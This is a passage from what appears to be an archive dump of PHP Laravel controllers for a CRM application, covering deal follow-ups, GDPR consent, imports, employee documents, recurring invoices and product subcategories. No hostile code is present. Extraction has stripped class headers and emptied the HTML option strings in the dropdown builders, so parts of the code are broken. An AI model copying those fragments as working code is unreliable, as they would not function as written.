RelatedResourceNotFoundException */ public function followUpStore(FollowUpStoreRequest $request) { $this->deal = Deal::findOrFail($request->deal_id); $this->addPermission = user()->permission('add_lead_follow_up'); abort_403(!in_array($this->addPermission, ['all', 'added'])); if ($this->deal->next_follow_up != 'yes') { return Reply::error(__('messages.leadFollowUpRestricted')); } $next_follow_up_date = Carbon::createFromFormat( $this->company->date_format . ' ' . $this->company->time_format, $request->next_follow_up_date . ' ' . $request->start_time ); $followUp = new DealFollowUp(); $followUp->deal_id = $request->deal_id; $followUp->next_follow_up_date = $next_follow_up_date->format('Y-m-d H:i:s'); $followUp->remark = $request->remark; $followUp->send_reminder = $request->send_reminder; $followUp->remind_time = $request->remind_time; $followUp->remind_type = $request->remind_type; $followUp->status = 'pending'; $followUp->save(); event(new AutoFollowUpReminderEvent($followUp,true)); return Reply::success(__('messages.recordSaved')); } public function editFollow($id) { $this->follow = DealFollowUp::findOrFail($id); $this->editPermission = user()->permission('edit_lead_follow_up'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->follow->added_by == user()->id))); return view('leads.followup.edit', $this->data); } public function updateFollow(FollowUpStoreRequest $request) { $this->deal = Deal::findOrFail($request->deal_id); $followUp = DealFollowUp::findOrFail($request->id); $this->editPermission = user()->permission('edit_lead_follow_up'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $followUp->added_by == user()->id))); if ($this->deal->next_follow_up != 'yes') { return Reply::error(__('messages.leadFollowUpRestricted')); } $followUp->deal_id = $request->deal_id; $followUp->next_follow_up_date = Carbon::createFromFormat($this->company->date_format . ' ' . $this->company->time_format, $request->next_follow_up_date . ' ' . $request->start_time)->format('Y-m-d H:i:s'); $followUp->remark = $request->remark; $followUp->send_reminder = $request->send_reminder; $followUp->status = $request->status; $followUp->remind_time = $request->remind_time; $followUp->remind_type = $request->remind_type; $followUp->save(); return Reply::success(__('messages.updateSuccess')); } public function deleteFollow($id) { $followUp = DealFollowUp::findOrFail($id); $this->deletePermission = user()->permission('delete_lead_follow_up'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $followUp->added_by == user()->id))); DealFollowUp::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function proposals() { $viewPermission = user()->permission('view_lead_proposals'); abort_403(!in_array($viewPermission, ['all', 'added'])); $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'leads.ajax.proposal'; $dataTable = new ProposalDataTable(true); return $dataTable->render('leads.show', $this->data); } public function gdpr() { $dataTable = new LeadGDPRDataTable(); $tab = request('tab'); $this->activeTab = $tab ?: 'gdpr'; $this->view = 'leads.ajax.gdpr'; return $dataTable->render('leads.show', $this->data); } public function consent(Request $request) { $leadId = $request->leadId; $this->consentId = $request->consentId; $this->leadId = $leadId; $this->consent = PurposeConsent::with(['lead' => function ($query) use ($leadId) { $query->where('lead_id', $leadId)->orderByDesc('created_at'); }]) ->where('id', $request->consentId) ->first(); return view('leads.gdpr.consent-form', $this->data); } public function saveLeadConsent(Request $request, $id) { $deal = Deal::findOrFail($id); $consent = PurposeConsent::findOrFail($request->consent_id); if ($request->consent_description && $request->consent_description != '') { $consent->description = trim_editor($request->consent_description); $consent->save(); } // Saving Consent Data $newConsentLead = new PurposeConsentLead(); $newConsentLead->deal_id = $deal->id; $newConsentLead->purpose_consent_id = $consent->id; $newConsentLead->status = trim($request->status); $newConsentLead->ip = $request->ip(); $newConsentLead->updated_by_id = $this->user->id; $newConsentLead->additional_description = $request->additional_description; $newConsentLead->save(); return $request->status == 'agree' ? Reply::success(__('messages.consentOptIn')) : Reply::success(__('messages.consentOptOut')); } public function importLead() { $this->pageTitle = __('app.importExcel') . ' ' . __('app.menu.deal'); $this->addPermission = user()->permission('add_deals'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->view = 'deals.ajax.import'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('leads.create', $this->data); } public function importStore(ImportRequest $request) { $rvalue = $this->importFileProcess($request, DealImport::class); if($rvalue == 'abort'){ return Reply::error(__('messages.abortAction')); } $view = view('deals.ajax.import_progress', $this->data)->render(); return Reply::successWithData(__('messages.importUploadSuccess'), ['view' => $view]); } public function importProcess(ImportProcessRequest $request) { $batch = $this->importJobProcess($request, DealImport::class, ImportDealJob::class); return Reply::successWithData(__('messages.importProcessStart'), ['batch' => $batch]); } public function destroySession(){ if (session()->has('is_imported')) { session()->forget('is_imported'); } if (session()->has('leads')) { session()->forget('leads'); } if (session()->has('leads_count')) { session()->forget('leads_count'); } if(session()->has('total_leads')) { session()->forget('total_leads'); } if(session()->has('is_deal')) { session()->forget('is_deal'); } } public function notes() { $dataTable = new DealNotesDataTable(); $viewPermission = user()->permission('view_deal_note'); abort_403(!($viewPermission == 'all' || $viewPermission == 'added' || $viewPermission == 'both' || $viewPermission == 'owned')); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'leads.ajax.notes'; return $dataTable->render('leads.show', $this->data); } public function changeFollowUpStatus(Request $request) { $id = $request->id; $status = $request->status; $leadFollowUp = DealFollowUp::find($id); if (!is_null($leadFollowUp)) { $leadFollowUp->status = $status; $leadFollowUp->save(); } return Reply::success(__('messages.leadStatusChangeSuccess')); } // Get Satges public function getStages($id) { $stages = PipelineStage::where('lead_pipeline_id', $id)->orderBy('priority')->get(); return Reply::dataOnly(['status' => 'success', 'data' => $stages]); } // Get Deals public function getDeals($id) { $deals = Deal::allLeads($id); return Reply::dataOnly(['status' => 'success', 'data' => $deals]); } /** * @param CommonRequest $request * @return array */ public function changeStage(CommonRequest $request) { $deal = Deal::findOrFail($request->leadID); $currentStageSlug = PipelineStage::findOrFail($request->statusID); // if the current stage is 'win' or 'lost', do not update if (in_array($currentStageSlug->slug, ['win', 'lost'])) { return Reply::dataOnly(['status' => 'success']); } $this->editPermission = user()->permission('edit_deals'); $this->changeLeadStatusPermission = user()->permission('change_deal_stages'); abort_403(!(($this->editPermission == 'all' || ($this->editPermission == 'added' && $deal->added_by == user()->id)) || $this->changeLeadStatusPermission == 'all')); $deal->pipeline_stage_id = $request->statusID; $deal->save(); return Reply::successWithData(__('messages.updateSuccess'), ['status' => 'success']); } public function getAgents($id) { $currentUser = user()->id; $leadCategory = LeadCategory::with(['enabledAgents' => function ($query) use ($currentUser) { if ($this->viewLeadAgentPermission == 'added') { $query->where('added_by', $currentUser); } elseif ($this->viewLeadAgentPermission == 'owned') { $query->where('user_id', $currentUser); } elseif ($this->viewLeadAgentPermission == 'both') { $query->where(function ($query) use ($currentUser) { $query->where('added_by', $currentUser) ->orWhere('user_id', $currentUser); }); } }])->where('id', $id)->first(); $deal = Deal::where('id', request()->dealId)->first(); $groupData = []; $userData = []; if (isset($leadCategory) && count($leadCategory->enabledAgents) > 0) { $activeAgents = $leadCategory->enabledAgents->filter(function ($agent) { return $agent->user->status !== 'deactive'; }); $selectedAgent = null; $data = []; if (!is_null($deal)) { $selectedAgent = $leadCategory->enabledAgents->firstWhere('id', $deal->agent_id); if ($selectedAgent && $selectedAgent->user->status === 'deactive') { $activeAgents->push($selectedAgent); } } foreach ($activeAgents as $agent) { $selected = !is_null($deal) && $agent->id == $deal->agent_id; $data[] = view('components.user-option', [ 'user' => $agent->user, 'agent' => false, 'pill' => false, 'selected' => $selected, ])->render(); } $groupData = $userData; } else { $data = ''; } return Reply::dataOnly(['data' => $data, 'groupData' => $groupData]); } public function stageChange(Request $request) { $deal = Deal::findOrFail($request->leadID); $pipelineStageId = $request->statusID; $pipelineStage = PipelineStage::findOrFail($request->statusID); $pipelineStageName = $pipelineStage->name; return view('leads.stage-change', ['deal' => $deal, 'pipelineStageId' => $pipelineStageId, 'pipelineStageName' => $pipelineStageName]); } public function saveStageChange(StageChangeRequest $request) { $deal = Deal::findOrFail($request->dealId); $deal->pipeline_stage_id = $request->pipelineStageId; $deal->close_date = companyToYmd($request->close_date); $deal->update(); if (!empty($request->description)) { $dealNote = new DealNote(); $dealNote->title = $request->title; $dealNote->deal_id = $request->dealId; $dealNote->details = $request->description; $dealNote->save(); }; return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/EmployeeDocController.php000064400000011263150325104510014752 0ustar00pageTitle = 'app.menu.employeeDocs'; $this->middleware(function ($request, $next) { abort_403(!in_array('employees', $this->user->modules)); return $next($request); }); } public function create() { $addPermission = user()->permission('add_documents'); abort_403(!($addPermission == 'all')); $this->user = User::findOrFail(user()->id); return view('profile-settings.ajax.employee.create', $this->data); } public function store(CreateRequest $request) { $fileFormats = explode(',', global_setting()->allowed_file_types); foreach ($request->file as $fFormat) { if (!in_array($fFormat->getClientMimeType(), $fileFormats)) { return Reply::error(__('messages.employeeDocsAllowedFormat')); } } $file = new EmployeeDocument(); $file->name = $request->name; $filename = Files::uploadLocalOrS3($request->file, EmployeeDocument::FILE_PATH . '/' . $request->user_id); $file->user_id = $request->user_id; $file->filename = $request->file->getClientOriginalName(); $file->hashname = $filename; $file->size = $request->file->getSize(); $file->save(); $this->files = EmployeeDocument::where('user_id', $request->user_id)->orderByDesc('id')->get(); $view = view('employees.files.show', $this->data)->render(); return Reply::successWithData(__('messages.recordSaved'), ['status' => 'success', 'view' => $view]); } public function edit($id) { $this->file = EmployeeDocument::findOrFail($id); $editPermission = user()->permission('edit_documents'); abort_403(!($editPermission == 'all' || ($editPermission == 'added' && $this->file->added_by == user()->id) || ($editPermission == 'owned' && ($this->file->user_id == user()->id && $this->file->added_by != user()->id)) || ($editPermission == 'both' && ($this->file->added_by == user()->id || $this->file->user_id == user()->id)))); return view('employees.files.edit', $this->data); } public function update(UpdateRequest $request, $id) { $file = EmployeeDocument::findOrFail($id); $file->name = $request->name; if ($request->file) { $filename = Files::uploadLocalOrS3($request->file, EmployeeDocument::FILE_PATH . '/' . $file->user_id); $file->filename = $request->file->getClientOriginalName(); $file->hashname = $filename; $file->size = $request->file->getSize(); } $file->save(); return Reply::success(__('messages.updateSuccess')); } public function destroy($id) { $file = EmployeeDocument::findOrFail($id); $deleteDocumentPermission = user()->permission('delete_documents'); abort_403(!($deleteDocumentPermission == 'all' || ($deleteDocumentPermission == 'added' && $file->added_by == user()->id) || ($deleteDocumentPermission == 'owned' && ($file->user_id == user()->id && $file->added_by != user()->id)) || ($deleteDocumentPermission == 'both' && ($file->added_by == user()->id || $file->user_id == user()->id)))); Files::deleteFile($file->hashname, EmployeeDocument::FILE_PATH . '/' . $file->user_id); EmployeeDocument::destroy($id); $this->files = EmployeeDocument::where('user_id', $file->user_id)->orderByDesc('id')->get(); $view = view('employees.files.show', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } public function download($id) { $this->file = EmployeeDocument::whereRaw('md5(id) = ?', $id)->firstOrFail(); $viewPermission = user()->permission('view_documents'); abort_403(!($viewPermission == 'all' || ($viewPermission == 'added' && $this->file->added_by == user()->id) || ($viewPermission == 'owned' && ($this->file->user_id == user()->id && $this->file->added_by != user()->id)) || ($viewPermission == 'both' && ($this->file->added_by == user()->id || $this->file->user_id == user()->id)))); return download_local_s3($this->file, EmployeeDocument::FILE_PATH . '/' . $this->file->user_id . '/' . $this->file->hashname); } } Http/Controllers/RecurringInvoiceController.php000064400000062705150325104510016031 0ustar00pageTitle = 'app.recurringInvoices'; $this->middleware(function ($request, $next) { abort_403(!in_array('invoices', $this->user->modules)); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(InvoiceRecurringDataTable $dataTable) { $viewPermission = user()->permission('view_invoices'); abort_403(!in_array($viewPermission, ['all', 'added'])); $this->userId = UserService::getUserId(); if(user()->is_client_contact == 1){ $clientContact = ClientContact::where('client_id', user()->id)->first(); $client = User::where('id', $clientContact->user_id)->first(); $this->userName = $client->name; } else { $this->userName = user()->name; } if (!request()->ajax()) { $this->projects = Project::all(); $this->clients = User::allClients(); } return $dataTable->render('recurring-invoices.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->addPermission = user()->permission('add_invoices'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->pageTitle = __('app.addInvoiceRecurring'); $this->projects = Project::all(); $this->currencies = Currency::all(); $this->units = UnitType::all(); $this->lastInvoice = Invoice::lastInvoiceNumber() + 1; $this->invoiceSetting = InvoiceSetting::first(); $this->zero = ''; if (strlen($this->lastInvoice) < $this->invoiceSetting->invoice_digit) { $condition = $this->invoiceSetting->invoice_digit - strlen($this->lastInvoice); for ($i = 0; $i < $condition; $i++) { $this->zero = '0' . $this->zero; } } $this->userId = UserService::getUserId(); $this->isClient = User::isClient($this->userId); if ($this->isClient) { $this->client = User::with('projects')->withoutGlobalScope(ActiveScope::class)->findOrFail($this->userId); } $this->taxes = Tax::all(); $this->products = Product::select(['id', 'name as title', 'name as text'])->get(); $this->clients = User::allClients(); $invoice = new Invoice(); $getCustomFieldGroupsWithFields = $invoice->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->linkInvoicePermission = user()->permission('link_invoice_bank_account'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $bankAccounts = BankAccount::where('status', 1)->where('currency_id', company()->currency_id); if($this->viewBankAccountPermission == 'added'){ $bankAccounts = $bankAccounts->where('added_by', $this->userId); } $bankAccounts = $bankAccounts->get(); $this->bankDetails = $bankAccounts; $this->view = 'recurring-invoices.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('recurring-invoices.create', $this->data); } /** * @param StoreRecurringInvoice $request * @return array */ public function store(StoreRecurringInvoice $request) { $items = $request->input('item_name'); $cost_per_item = $request->input('cost_per_item'); $quantity = $request->input('quantity'); $amount = $request->input('amount'); foreach ($quantity as $qty) { if (!is_numeric($qty) && (intval($qty) < 1)) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $invoiceSetting = InvoiceSetting::first(); $recurringInvoice = new RecurringInvoice(); $recurringInvoice->project_id = $request->project_id ?? null; $recurringInvoice->client_id = $request->has('client_id') ? $request->client_id : null; $recurringInvoice->issue_date = !is_null($request->issue_date) ? companyToYmd($request->issue_date) : now()->format('Y-m-d'); $recurringInvoice->due_date = !is_null($request->issue_date) ? Carbon::createFromFormat($this->company->date_format, $request->issue_date)->addDays($invoiceSetting->due_after)->format('Y-m-d') : now()->addDays($invoiceSetting->due_after)->format('Y-m-d'); $recurringInvoice->sub_total = $request->sub_total; $recurringInvoice->discount = round($request->discount_value, 2); $recurringInvoice->discount_type = $request->discount_type; $recurringInvoice->total = round($request->total, 2); $recurringInvoice->currency_id = $request->currency_id; $recurringInvoice->bank_account_id = $request->bank_account_id; $recurringInvoice->note = trim_editor($request->note); $recurringInvoice->rotation = $request->rotation; $recurringInvoice->billing_cycle = $request->billing_cycle > 0 ? $request->billing_cycle : null; $recurringInvoice->unlimited_recurring = $request->billing_cycle < 0 ? 1 : 0; $recurringInvoice->created_by = $this->user->id; if ($request->project_id > 0) { $recurringInvoice->project_id = $request->project_id; } $recurringInvoice->client_can_stop = ($request->client_can_stop) ? 1 : 0; $recurringInvoice->immediate_invoice = ($request->immediate_invoice) ? 1 : 0; $recurringInvoice->status = 'active'; $recurringInvoice->save(); if($request->immediate_invoice){ $defaultAddress = CompanyAddress::where('is_default', 1)->where('company_id', company()->id)->first(); $invoice = new Invoice(); $invoice->invoice_recurring_id = $recurringInvoice->id; $invoice->project_id = $request->project_id ?? null; $invoice->client_id = $request->client_id ?: null; $invoice->invoice_number = Invoice::lastInvoiceNumber() + 1; $invoice->issue_date = now()->format('Y-m-d'); $invoice->due_date = now()->addDays($invoiceSetting->due_after)->format('Y-m-d'); $invoice->sub_total = round($request->sub_total, 2); $invoice->discount = round($request->discount_value, 2); $invoice->discount_type = $request->discount_type; $invoice->total = round($request->total, 2); $invoice->due_amount = round($request->total, 2); $invoice->currency_id = $request->currency_id; $invoice->note = $request->note; $invoice->show_shipping_address = $request->show_shipping_address; $invoice->send_status = 1; $invoice->company_address_id = $defaultAddress->id; $invoice->bank_account_id = $recurringInvoice->bank_account_id; $invoice->save(); if ($invoice->show_shipping_address) { if ($invoice->project_id != null && $invoice->project_id != '') { $client = $invoice->project->clientdetails; $client->shipping_address = $invoice->project->client->clientDetails->shipping_address; $client->save(); } elseif ($invoice->client_id != null && $invoice->client_id != '') { $client = $invoice->clientdetails; $client->shipping_address = $invoice->client->clientDetails->shipping_address; $client->save(); } } if ($request->custom_fields_data) { $invoice->updateCustomFieldData($request->custom_fields_data); } } return Reply::redirect(route('recurring-invoices.index'), __('messages.recordSaved')); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->invoice = RecurringInvoice::with('recurrings', 'units', 'items.recurringInvoiceItemImage')->findOrFail($id); $this->inv = Invoice::where('invoice_recurring_id', $id)->first(); if($this->inv) { $this->inv = $this->inv->withCustomFields(); $getCustomFieldGroupsWithFields = $this->inv->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } } if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } else { $this->discount = 0; } $taxList = array(); $items = RecurringInvoiceItems::whereNotNull('taxes') ->where('invoice_recurring_id', $this->invoice->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = InvoiceItems::taxbyid($tax)->first(); if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } $this->taxes = $taxList; $this->settings = $this->company; $this->invoiceSetting = InvoiceSetting::first(); $tab = request('tab'); switch ($tab) { case 'invoices': return $this->invoices($id); default: $this->view = 'recurring-invoices.ajax.overview'; break; } if (request()->ajax()) { return $this->returnAjax($this->view); } $this->activeTab = $tab ?: 'overview'; return view('recurring-invoices.show', $this->data); } /** * @param int $id * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|void */ public function edit($id) { $this->invoice = RecurringInvoice::with('items.recurringInvoiceItemImage', 'recurrings')->findOrFail($id); $this->editPermission = user()->permission('edit_invoices'); $this->userId = UserService::getUserId(); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && ($this->invoice->added_by == user()->id || $this->invoice->added_by == $this->userId)))); $this->projects = Project::all(); $this->currencies = Currency::all(); $this->units = UnitType::all(); abort_403($this->invoice->status == 'paid'); $this->taxes = Tax::all(); $this->products = Product::select('id', 'name as title', 'name as text')->get(); $this->clients = User::allClients(); $this->linkInvoicePermission = user()->permission('link_invoice_bank_account'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $this->inv = Invoice::where('invoice_recurring_id', $id)->first(); if($this->inv) { $this->inv = $this->inv->withCustomFields(); $getCustomFieldGroupsWithFields = $this->inv->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } } $bankAccounts = BankAccount::where('status', 1)->where('currency_id', $this->invoice->currency_id); if($this->viewBankAccountPermission == 'added'){ $bankAccounts = $bankAccounts->where('added_by', $this->userId); } $bankAccounts = $bankAccounts->get(); $this->bankDetails = $bankAccounts; if ($this->invoice->project_id != '') { $companyName = Project::where('id', $this->invoice->project_id)->with('clientdetails')->first(); $this->companyName = $companyName->clientdetails ? $companyName->clientdetails->company_name : ''; $this->clientId = $companyName->clientdetails ? $companyName->clientdetails->user_id : ''; } return view('recurring-invoices.edit', $this->data); } /** * Update the specified resource in storage. * * @param UpdateRecurringInvoice $request * @param int $id * @return \Illuminate\Http\Response */ public function update(UpdateRecurringInvoice $request, $id) { $invoice = RecurringInvoice::findOrFail($id); if($request->invoice_count == 0) { $items = $request->input('item_name'); $itemsSummary = $request->input('item_summary'); $cost_per_item = $request->input('cost_per_item'); $hsn_sac_code = $request->input('hsn_sac_code'); $quantity = $request->input('quantity'); $amount = $request->input('amount'); $tax = $request->input('taxes'); $invoice_item_image = $request->invoice_item_image; $invoice_item_image_url = $request->invoice_item_image_url; $item_ids = $request->item_ids; $productId = $request->product_id; foreach ($quantity as $qty) { if (!is_numeric($qty) && (intval($qty) < 1)) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $invoiceSetting = InvoiceSetting::first(); $invoice->project_id = $request->project_id ?? null; $invoice->client_id = $request->client_id; $invoice->issue_date = companyToYmd($request->issue_date); $invoice->due_date = Carbon::createFromFormat($this->company->date_format, $request->issue_date)->addDays($invoiceSetting->due_after)->format('Y-m-d'); $invoice->sub_total = $request->sub_total; $invoice->total = $request->total; $invoice->discount = round($request->discount_value, 2); $invoice->discount_type = $request->discount_type; $invoice->total = round($request->total, 2); $invoice->currency_id = $request->currency_id; $invoice->bank_account_id = $request->bank_account_id; $invoice->note = trim_editor($request->note); $invoice->rotation = $request->rotation; $invoice->billing_cycle = $request->billing_cycle > 0 ? $request->billing_cycle : null; $invoice->unlimited_recurring = $request->billing_cycle < 0 ? 1 : 0; $invoice->created_by = $this->user->id; if ($request->rotation == 'weekly' || $request->rotation == 'bi-weekly') { $invoice->day_of_week = $request->day_of_week; } elseif ($request->rotation == 'monthly' || $request->rotation == 'quarterly' || $request->rotation == 'half-yearly' || $request->rotation == 'annually') { $invoice->day_of_month = $request->day_of_month; } if ($request->project_id > 0) { $invoice->project_id = $request->project_id; } $invoice->client_can_stop = ($request->client_can_stop) ? 1 : 0; if (request()->has('status')) { $invoice->status = $request->status; } $invoice->save(); if (!empty($request->item_name) && is_array($request->item_name)) { // Step1 - Delete all invoice items which are not avaialable if (!empty($item_ids)) { RecurringInvoiceItems::whereNotIn('id', $item_ids)->delete(); } $unitId = request()->unit_id; $product = request()->product_id; // Step2&3 - Find old invoices items, update it and check if images are newer or older foreach ($items as $key => $item) { $invoice_item_id = isset($item_ids[$key]) ? $item_ids[$key] : 0; $invoiceItem = RecurringInvoiceItems::find($invoice_item_id); if ($invoiceItem === null) { $invoiceItem = new RecurringInvoiceItems(); } $invoiceItem->invoice_recurring_id = $invoice->id; $invoiceItem->item_name = $item; $invoiceItem->item_summary = $itemsSummary[$key]; $invoiceItem->type = 'item'; $invoiceItem->product_id = (isset($productId[$key]) && !is_null($productId[$key])) ? $productId[$key] : null; $invoiceItem->hsn_sac_code = (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null; $invoiceItem->quantity = $quantity[$key]; $invoiceItem->unit_id = (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null; $invoiceItem->product_id = (isset($product[$key]) && !is_null($product[$key])) ? $product[$key] : null; $invoiceItem->unit_price = round($cost_per_item[$key], 2); $invoiceItem->amount = round($amount[$key], 2); $invoiceItem->taxes = ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null); $invoiceItem->save(); /* Invoice file save here */ if ((isset($invoice_item_image[$key]) && $request->hasFile('invoice_item_image.' . $key)) || isset($invoice_item_image_url[$key])) { /* Delete previous uploaded file if it not a product (because product images cannot be deleted) */ if (!isset($invoice_item_image_url[$key]) && $invoiceItem && $invoiceItem->recurringInvoiceItemImage) { Files::deleteFile($invoiceItem->recurringInvoiceItemImage->hashname, RecurringInvoiceItemImage::FILE_PATH . '/' . $invoiceItem->id . '/'); } $filename = ''; if (isset($invoice_item_image[$key])) { $filename = Files::uploadLocalOrS3($invoice_item_image[$key], RecurringInvoiceItemImage::FILE_PATH . '/' . $invoiceItem->id . '/'); } RecurringInvoiceItemImage::updateOrCreate( [ 'invoice_recurring_item_id' => $invoiceItem->id, ], [ 'filename' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getClientOriginalName() : null, 'hashname' => isset($invoice_item_image[$key]) ? $filename : null, 'size' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getSize() : null, 'external_link' => isset($invoice_item_image[$key]) ? null : ($invoice_item_image_url[$key] ?? null), ] ); } } } } else { $invoice->client_can_stop = ($request->client_can_stop) ? 1 : 0; $invoice->bank_account_id = $request->bank_account_id; if (request()->has('status')) { $invoice->status = $request->status; } $invoice->save(); } $this->inv = Invoice::where('invoice_recurring_id', $id)->first(); if($this->inv) { $this->inv = $this->inv->withCustomFields(); if ($request->custom_fields_data) { $this->inv->updateCustomFieldData($request->custom_fields_data); } } return Reply::redirect(route('recurring-invoices.index'), __('messages.recordSaved')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $this->deletePermission = user()->permission('delete_invoices'); $recurringInvoice = RecurringInvoice::findOrFail($id); $userId = UserService::getUserId(); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && ($recurringInvoice->added_by == user()->id || $recurringInvoice->added_by == $userId)))); RecurringInvoice::destroy($id); return Reply::success(__('messages.deleteSuccess')); } /** * @param Request $request * @return array */ public function changeStatus(Request $request) { $invoiceId = $request->invoiceId; $status = $request->status; $invoice = RecurringInvoice::findOrFail($invoiceId); if ($invoice) { $invoice->status = $status; $invoice->save(); } return Reply::success(__('messages.updateSuccess')); } /** * @param RecurringInvoicesDataTable $dataTable * @param int $id * @return mixed */ public function recurringInvoices(RecurringInvoicesDataTable $dataTable, $id) { $this->invoice = RecurringInvoice::findOrFail($id); $this->projects = Project::all(); $this->clients = User::allClients(); return $dataTable->render('recurring-invoices.recurring-invoices', $this->data); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_invoices') != 'all'); $items = explode(',', $request->row_ids); foreach ($items as $id) { RecurringInvoice::destroy($id); } } public function invoices($recurringID) { $dataTable = new RecurringInvoicesDataTable; $viewPermission = user()->permission('view_invoices'); abort_403(!in_array($viewPermission, ['all', 'added'])); $this->recurringID = $recurringID; $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'recurring-invoices.ajax.invoices'; return $dataTable->render('recurring-invoices.show', $this->data); } } Http/Controllers/ProductSubCategoryController.php000064400000010622150325104510016333 0ustar00categoryID = $request->catID; $this->subcategories = ProductSubCategory::all(); $this->categories = ProductCategory::all(); return view('products.sub-category.create', $this->data); } /** * @param StoreProductSubCategory $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreProductSubCategory $request) { $category = new ProductSubCategory(); $category->category_id = $request->category_id; $category->category_name = $request->category_name; $category->save(); $categoryData = ProductCategory::get(); $category = ''; $subCategory = ''; $categoryID = $request->categoryID; $subCategoryData = ProductSubCategory::where('category_id', $categoryID)->get(); foreach ($categoryData as $data) { $selected = ($categoryID == $data->id) ? 'selected' : ''; $category .= ''; } if ($categoryID) { foreach ($subCategoryData as $item) { $selected = ($categoryID == $item->category_id) ? 'selected' : ''; $subCategory .= ''; } } return Reply::successWithData(__('messages.recordSaved'), ['data' => $category, 'subCategoryData' => $subCategory]); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $category = ProductSubCategory::findOrFail($id); $category->category_id = $request->category_id ? $request->category_id : $category->category_id; $category->category_name = $request->category_name ? strip_tags($request->category_name) : $category->category_name; $category->save(); $subCategoryOptions = $this->categoryDropdown($category->category_id); $categoryOptions = $this->subCategoryDropdown($category->id); return Reply::successWithData(__('messages.updateSuccess'), ['sub_categories' => $subCategoryOptions, 'categories' => $categoryOptions]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { ProductSubCategory::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function categoryDropdown($selectId = null) { /* Category Dropdown */ $categoryData = ProductCategory::get(); $categoryOptions = ''; foreach ($categoryData as $item) { $selected = ''; if (!is_null($selectId) && $item->id == $selectId) { $selected = 'selected'; } $categoryOptions .= ''; } return $categoryOptions; } public function subCategoryDropdown($selectId) { /* Sub-Category Dropdown */ $subCategoryData = ProductSubCategory::get(); $subCategoryOptions = ''; foreach ($subCategoryData as $item) { $selected = ''; if ($item->id == $selectId) { $selected = 'selected'; } $subCategoryOptions .= ''; } return $subCategoryOptions; } 